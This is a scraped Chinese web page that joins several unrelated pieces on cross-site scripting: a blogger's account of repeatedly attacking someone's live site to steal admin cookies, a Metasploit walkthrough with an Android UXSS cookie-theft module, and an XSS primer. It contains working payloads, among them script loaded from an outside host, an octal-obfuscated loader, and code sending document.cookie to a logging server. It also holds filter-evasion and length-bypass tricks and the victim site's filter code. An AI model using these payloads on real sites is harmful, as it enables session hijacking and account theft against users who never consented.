xsspayload 攻击什么爬下来,攻击,分析

这真是最后一次了。真的再不逗这个程序员了。和预期一样,勤奋的程序员今天又更新程序了。因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构。而且再&完事儿&之后,还不会跳转到本应该跳转的页面。所以还是那么容易就被发现了。(也包括我犯贱老找别人网站做测试)反思昨天在去便利店买烟的时候,发现了自己犯的一个错误。就当是纠正一下前面的2篇吧。当我们的JS是在script标签内的时候,像这样:
&script&document.write(123)&/script&
我们是需要规规矩矩的写上这个document的。但是在事件也就是所谓的on*属性当中,调用write方法时,实际上是不许要写document的。所以我们可以直接这样:
&p onmouseover=write(123)&
这样一来,也就不用去关心document是否被过滤了。也就没有前面那么些个问题了。不过过去的事儿就过去了。让我们谈谈接下来的事儿。针对于插入后不能跳转和破坏页面结构的问题,我最终作出了这样的一个决定:
&p onclick="head.appendChild(createElement('\163cript')).src='//zsy.ca/33';setTimeout(/location.href='view.php?id=147'/.source,2000)"&0&/p&
试着创建子节点,而放弃蛮力的write().然后为了给自己的js一点时间避免把取cookie的事儿给耽误了我就再次用上了setTimeout().让它插入js的2秒后再跳转到这个标题所属的内容页。不过这个问题可能是我多虑了,也可能会出现瞬间就跳过去取不到cookie的情况吧。&&然而在这次测试期间,我又发现了一个新的输出点。就是我们提交的标题会在内容页输出到一个input里面,像这样:
&input id=title value="输出"&
尴尬的是,他这个点对"&"和"&"做了html编码,却把双引号给忘了。所以我们只要在标题出写上:
&p " onfocus=alert(1) autofocus &求助&/p&
这里写到标签内是为了防止测漏。不然别人一看就看出来这玩意儿不对劲儿了。管理员打开内容页以后就中招了。虽然在显示帖子标题的页面当中我们没有测漏,但是在内容页,因为我们的这么一插,有类似于 size="xx"& 之类的给露出来了.又不能开启新的标签(因为被"&","&"编码过了)怎么办呢?想了想html也可以用单引号,比如说:
&img src='x' onerror='alert(1)'&
也是可以的。那么我们就可以在标题处写上:
&p " onfocus=alert(1) autofocus close='&求助&/p&
再在内容里写上:
'&p&帮帮我吧!
我们就机智的把测漏给拦住了。&&不过经过我这么一折腾,这程序有问题的事儿,又给闹穿帮了(都不容易啊)。这次不一样的是我拿到补丁了。让我们看看他的过滤代码是怎么写的吧:
function checkscript(intostr)
02.intostr=Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(LCase(intostr),"&br",""),"&p&",""),"&/p&",""),"&font",""),"&/font&",""),"strong",""),"&&",""),"&/&",""),"&td",""),"&tr",""),"&tab","")
03.intostr=Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(intostr,"&/td",""),"&/tr",""),"&/tab",""),"&img ",""),"&u",""),"&/u&",""),"&a ",""),"&/a",""),"&b&",""),"&/b&","")
04.intostr=Replace(Replace(intostr,"&li&",""),"&/li","")
05.intostr=Replace(Replace(intostr,"&span",""),"&/span","")
06.intostr=Replace(Replace(intostr,"&p ",""),"&/p&","")
07.intostr=Replace(Replace(intostr,"& ","&"),"&class","")
08.intostr=Replace(Replace(intostr,"&tbody",""),"&div","")
09.intostr=Replace(Replace(intostr,"&/div&",""),"&/tbody","")
10.If InStr(intostr," on") Or InStr(intostr,"&") Or InStr(intostr,"scr") Or InStr(intostr,"\u") or InStr(intostr,"%3c") Or InStr(intostr,"&#") Or InStr(intostr,"char") Or InStr(intostr,"eval")
Or InStr(intostr,"docum") Or InStr(intostr,"exec") Or InStr(intostr,"declare") Or InStr(intostr,"onmou") Or InStr(intostr,"oncl")
Or InStr(Replace(intostr," ",""),"+'") Or InStr(Replace(intostr," ",""),"'+")
Or InStr(intostr,"'&") Or InStr(intostr,"""on") Or InStr(intostr,"\x") Or InStr(intostr,"autofo") Or InStr(intostr,"d.app") Or InStr(intostr,").src") Or InStr(intostr,"var ") Or InStr(intostr,"+=")
Or InStr(intostr,"//") Then
11.checkscript=True
12.'response.write intostr
13.'response.end
15.checkscript=false
17.end Function
基本上和我黑盒测试的结果是没有什么偏差的。当然从新的修补方案中不难看出,是真的被我搞穿帮了( )。看到100个replace我就对阅读这段代码没有什么兴趣了。简单做了下测试发现。这次终于对标题处做了htmlencode处理。也就是说不能再完了。那么作为富文本最基本的功能发图,还能用么?简单的插了个
发现插进去后,变成了:
test&img src=""&
搞到这儿有两个问题。发现" on"会被拦截。但是和前面提到的一样空格有很多替代品。具体的,可以看下下面的fuzz结果:
用哪个看你喜欢了,不过应该注意的是斜杠只能用来分割标签名和属性。是不能用来分割多个属性的。然后他又先后通过过滤"&#","\u","\x"过滤了4种编码。但是又测漏一个octal.把在子节点上创建script并指定src的部分用octal编一下码,再把空格替换成[0x0c].最后为了防止图片的小框框会泄漏我们的霸气。再一次通过style来设定一下不显示图片。就有了下面的payload:
&img src=x [0x0c]onerror=setTimeout('\144\157\143\165\155\145\156\164\56\150\145\141\144\56\141\160\160\145\156\144\103\150\151\154\144\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\47\163\143\162\151\160\164\47\51\51\56\163\162\143\75\47\57\57\172\163\171\56\143\141\57\62\47',0) [0x0c]style=display:none&
搞到这儿,和这套程序的斗争就算是告一段落了。thx for reading!补充内容 ( 12:18):写急了把&p " onfocus=alert(1) autofocus close='&求助&/p&改成:求助&p " onfocus=alert(1) autofocus close='&&/p&就对了sry
阅读(...) 评论()XSS测试payload - 下载频道
- CSDN.NET
&&&&XSS测试payload
XSS测试payload
XSS测试payload,收集了简单的XSS测试用例,较具有实用性。
若举报审核通过,可奖励20下载分
被举报人:
举报的资源分:
请选择类型
资源无法下载
资源无法使用
标题与实际内容不符
含有危害国家安全内容
含有反动色情等内容
含广告内容
版权问题,侵犯个人或公司的版权
*详细原因:
您可能还需要
安全技术下载排行利用Android的UXSS漏洞完成一次XSS攻击
您当前位置: &
[ 所属分类
作者 红领巾 ]
攻击的方式思路是先搜集信息,定位漏洞,然后针对不同的漏洞采用不同的方式来黑掉你。下面用metasploit模拟一次跨站脚本攻击(黑掉自己的手机)。1.搜集信息msf & search androidMatching Modules================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/android/google_play_store_uxss_xframe_rce normal Android Browser RCE Through Google Play Store XFO auxiliary/gather/android_browser_new_tab_cookie_theft normal Android Browser "Open in New Tab" Cookie Theft auxiliary/gather/android_htmlfileprovider normal Android Content Provider File Disclosure auxiliary/gather/android_object_tag_webview_uxss
normal Android Open Source Platform (AOSP) Browser UXSS auxiliary/gather/android_stock_browser_uxss normal Android Open Source Platform (AOSP) Browser UXSS auxiliary/scanner/sip/sipdroid_ext_enum normal SIPDroid Extension Grabber exploit/android/browser/samsung_knox_smdm_url
normal Samsung Galaxy KNOX Android Browser RCE exploit/android/browser/webview_addinterface
normal Android Browser and WebView addJavascriptInterface Code Execution exploit/android/fileformat/adobe_reader_pdf_js_interface
good Adobe Reader for Android addJavascriptInterface Exploit exploit/android/local/futex_requeue
excellent Android 'Towelroot' Futex Requeue Kernel Exploit exploit/multi/handler manual Generic Payload Handler payload/android/meterpreter/reverse_http normal Android Meterpreter, Dalvik Reverse HTTP Stager payload/android/meterpreter/reverse_https normal Android Meterpreter, Dalvik Reverse HTTPS Stager payload/android/meterpreter/reverse_tcp normal Android Meterpreter, Dalvik Reverse TCP Stager payload/android/shell/reverse_http normal Command Shell, Dalvik Reverse HTTP Stager payload/android/shell/reverse_https normal Command Shell, Dalvik Reverse HTTPS Stager payload/android/shell/reverse_tcp normal Command Shell, Dalvik Reverse TCP Stager可以看到安卓可以利用的漏洞有很多,在这里我选择了一个UXSS(通用跨站脚本攻击)的漏洞,通过搜索,可以看到漏洞的具体描述。这个漏洞的大概意思是如果黑客成功,将从你的浏览器中获取到你页面的cookie。2.接下来利用这个漏洞,并查看该模块的选项。msf & use auxiliary/gather/android_object_tag_webview_uxssmsf auxiliary(android_object_tag_webview_uxss) & show optionsModule options (auxiliary/gather/android_object_tag_webview_uxss): Name Current Setting Required Description ---- --------------- -------- ----------- CUSTOM_JS no A string of javascript to execute in the context of the target URLs. REMOTE_JS no A URL to inject into a script tag in the context of the target URLs. SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGET_URLS
yes The comma-separated list of URLs to steal. URIPATH no The URI to use for this exploit (default is random)Auxiliary action: Name Description ---- ----------- WebServer 由上图可以看到必填字段有SRVHOST/SRVPORT/TARGET_URLS。这里才是关键。在这一步里,你需要做的就是搭建自己的站点,以及把获取cookie并传回的脚本嵌入进去!在这里我除了SRVHOST外其他选择默认值,只起演示作用。(后边我会给出一个具体的例子,看别人的XSS是怎么做的)msf auxiliary(android_object_tag_webview_uxss) & set SRVHOST 192.168.1.106SRVHOST =& 192.168.1.1063.假设你的脚本已经站点已经搞定,接下来输入“exploit”,服务启动后基本快要大功告成了。msf auxiliary(android_object_tag_webview_uxss) & exploit [*] Auxiliary module execution completedmsf auxiliary(android_object_tag_webview_uxss) & [*] Using URL: http://192.168.1.106:8080/ORvS7Li6X[*] Server started.4.接下来,你需要想办法把你的站点扩散出去,然后坐享其成就行了。[*] 192.168.1.105 android_object_tag_webview_uxss - Request 'GET /ORvS7Li6X'[*] 192.168.1.105 android_object_tag_webview_uxss - Sending initial HTML ...[*] 192.168.1.105 android_object_tag_webview_uxss - Request 'GET /ORvS7Li6X'[*] 192.168.1.105 android_object_tag_webview_uxss - Sending initial HTML ...
本文web安全相关术语:黑盒测试方法 黑盒测试和白盒测试 网站安全检测 360网站安全检测 网络安全知识 网络安全技术 网络信息安全 网络安全工程师
转载请注明本文标题:本站链接:
分享请点击:
1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
循路觅宗师,形影不相离,师知吾亦知,吾乃成宗师。
手机客户端
,专注代码审计及安全周边编程,转载请注明出处:http://www.codesec.net
转载文章如有侵权,请邮件 admin[at]codesec.netXSS跨站脚本攻击初探 - 网站安全 - 红黑联盟
XSS跨站脚本攻击初探
XSS跨站脚本攻击的基本原理和SQL 注入攻击类似(个人观点),都是利用系统执行了未经过滤的危险代码,不同点在于XSS是一种基于网页脚本的注入方式,也就是将脚本攻击载荷写入网页执行以达到对网页客户端访问用户攻击的目的,属于客户端攻击。而SQL注入攻击将危险代码绕过正常的文本输入变为可执行的SQL执行语句从而操纵数据库,从而进一步探测、操纵数据库信息。属于服务器攻击?(菜鸟看法)。
XSS攻击前奏(XSS bug 检测)
  1、最常见的最经典的XSS bug检测语句必然是
  &script&alert(/XSS/)&/script& & & & & & & & & & & & & & & & & & & & &①
  比如在存在XSS bug的留言板上写上留言①,当访问留言板网页时会弹出对话框:
这表明我们输入的语句被原样写入的网页并被浏览器执行了.那么我们就有机会执行我们的脚本攻击载荷:
&script src = http://www.labsecurity.org/xssbug.js&&/script&
在我们的网络空间 上的xssbug.js代码可以是
Var img = document.createElement(&img&);
Img.src = &http://www.labsecurity.org/log?&+escape(document.cookie);
document.body.appendChild(img);
如果我们如上代码顺利执行,那么被攻击者在目标网站的登录cookie就写进了log.得到其cookie后,进行浏览器重新发包就可以以被攻击者身份登录目标网站.(被攻击者可以是普通用户也可以使网站超级管理员).
  将窃取cookie的代码换成下载者地址就可以将下载者下载到存在下载者攻击的用户电脑上.
  也可以将代码换成目标用户在网站上的某些操作的 数据包脚本.促使在不知情的情况下&自愿&进行某些操作.
  对于Cookie窃取的防御可以使IP绑定等方案了.
  既然存在XSS攻击那么程序员在开发时必然会进行某些危险关键字的过滤,以及限制用户的输入长度.这样即使存在xss漏洞.Hack也只能检测,却不能够写入攻击载荷(长度限制啊).
  利用IMG图片标记属性跨站
当然也可以像上面所说的在留言板中输入
&img src=&javacript:alert(/XSS/)&&&/img&
这所说的不是这样是在用户上传图片时将图片路径修改为一段可执行的XSS测试脚本.
如果存在XSS漏洞那么此类脚本就会被执行.这类脚本要闭合双引号&&&等.
  利用DIV标签属性跨站
&div style=&width:0;height:0;background:url(javascript:document.body.onload = function(){alert(/XSS/);};&&&/div&
  利用已知事件攻击
移动特效字&marquee&文字&/marquee&
  &marquee onstart=&alert(/XSS/)&&文字&/marquee&
  B.&div style=&& onmouseenter=&alert(/XSS/)&&文字&/div&
  构造事件&
&img style=&#& style=&TEST:e&xpression(alert(/XSS/));&&
常用的事件构造
&font style = &TEST:e&xpression(alert(/XSS/))&&&/font&
&li style = &TEST:e&xpression(alert(/XSS/))&&&/li&
&table style = &TEST:e&xpression(alert(/XSS/))&&&/table&
&a style = &TEST:e&xpression(alert(/XSS/))&&&/a&
&b style = &TEST:e&xpression(alert(/XSS/))&&&/b&
&ul style = &TEST:e&xpression(alert(/XSS/))&&&/ul&
&marque tyle = &TEST:e&xpression(alert(/XSS/))&&&/marquee&
突破程序员的过滤限制
  利用javascript换行与空格突破过滤
  &img src = j ava script:al er t(/XSS/)&///空格使用Tab键产生
  &img src = j
  ava script :a ler t(/xss/)&
  利用注释&img src = &#&/**/onerror = alert(/XSS/)&
  转代码,绕过滤
  使用大小写转换绕过过滤
  使用进制编码
  空格回车符
  JS 还原函数法
  String.fromCharCode()可以将ASCII编码还原成字符串,那么就可以eval(String.fromCharCode(97,108,101.....))
突破长度限制
注释符闭合相邻的输入框达到合并的目的
&input id = 1 type = &text& value=&&/&
&input id = 2 type = &text& value = &&/&
这样我们可以在第一个框中输入&&alert&!--
在第二个输入框中输入--&&script&(/XSS/);&/script&
这样效果就是
&input id = 1 type = &text& value=&& &script&alert(/XSS/)&/script&&/&
使用&base&标签进行相对路径劫持
&base href=&http://www.labsecurity.org&/&
&img src = &evil.js&&
当我们没有使用base标签时evil.js是调用的服务器根目录下的evil.js脚本文件.当我们使用&base&脚本后.那么在此标签后的所有相对路径为我们设置的网站.
因此可以先使用&base&脚本劫持,然后再写入&img src=&xxx.js&&突破长度限制.
使用window.name进行字符串传递
在我们自己的构造的页面中写入如下代码
Window.name=&&script src=http://www.labsecurity.org/xss.js&&script&&
Window.location=&/xxx.asp&
当我们跳转到目标网页时我们的window.name值为我们设置的跨站脚本语句.
因此我们可以使用eval(name)进行跨站攻击.
利用上下文扩展长度
&div id=&x&&alert%28document.cookie%29%3B&/div&
&limited_xss_point&eval(unescape(x.innerHTML));&/limited_xss_point&
上文是不限制长度的安全数据,那么我们就可以在下文中使用此安全数据.进行XSS攻击突破长度.
5.利用URL 中的数据
如果页面里不存在上一节所说的可控HTML 上下文数据怎么办?有些数据是我们无条件可控的,第一个想到的就是URL,通过在URL 的尾部参数构造要执行的代码,然后在XSS点通过
document.URL/location.href 等方式获得代码数据执行,这里假设代码从第80 个字符开始到
--code-------------------------------------------------------------------------
/xssed.php?x=1....&alert(document.cookie)
&limited_xss_point&eval(document.URL.substr(80));&/limited_xss_point&
&limited_xss_point&eval(location.href.substr(80));&/limited_xss_point&
上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅Javascript 手册
的String 的方法可以发现,切割字符串有一个更短的函数slice,5 个字符比substr 还要短一个字符:
&limited_xss_point&eval(document.URL.slice(80));&/limited_xss_point&
&limited_xss_point&eval(location.href.slice(80));&/limited_xss_point&
那么还有没有办法更短呢?答案是YES,查阅一下MSND 里的location 对象的参考你会发现有个hash 成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获得代码执行,由于获得的数据是#开头的,所以只需要slice 一个字符就可以拿到代码:
/xssed.php?x=1....#alert(document.cookie)
&limited_xss_point&eval(location.hash.slice(1));&/limited_xss_point&
这样比上面的例子又少了一个字符。那么还可以更短么?
6.剪切板clipboardData
攻击者在自己域的页面上通过clipboardData 把Payload 写入剪切板,然后在被XSS 页面获取并执行该数据。攻击者构造的页面:
--code-------------------------------------------------------------------------
clipboardData.setData(&text&, &alert(document.cookie)&);
-------------------------------------------------------------------------------
被XSS 的页面:
--code-------------------------------------------------------------------------
&limited_xss_point&eval(clipboardData.getData(&text&));&/limited_xss_point&
-------------------------------------------------------------------------------
这种方式只适用于IE 系列,并且在IE 7 及以上版本的会有安全提示

我要回帖

更多关于 xss攻击工具 的文章

 

随机推荐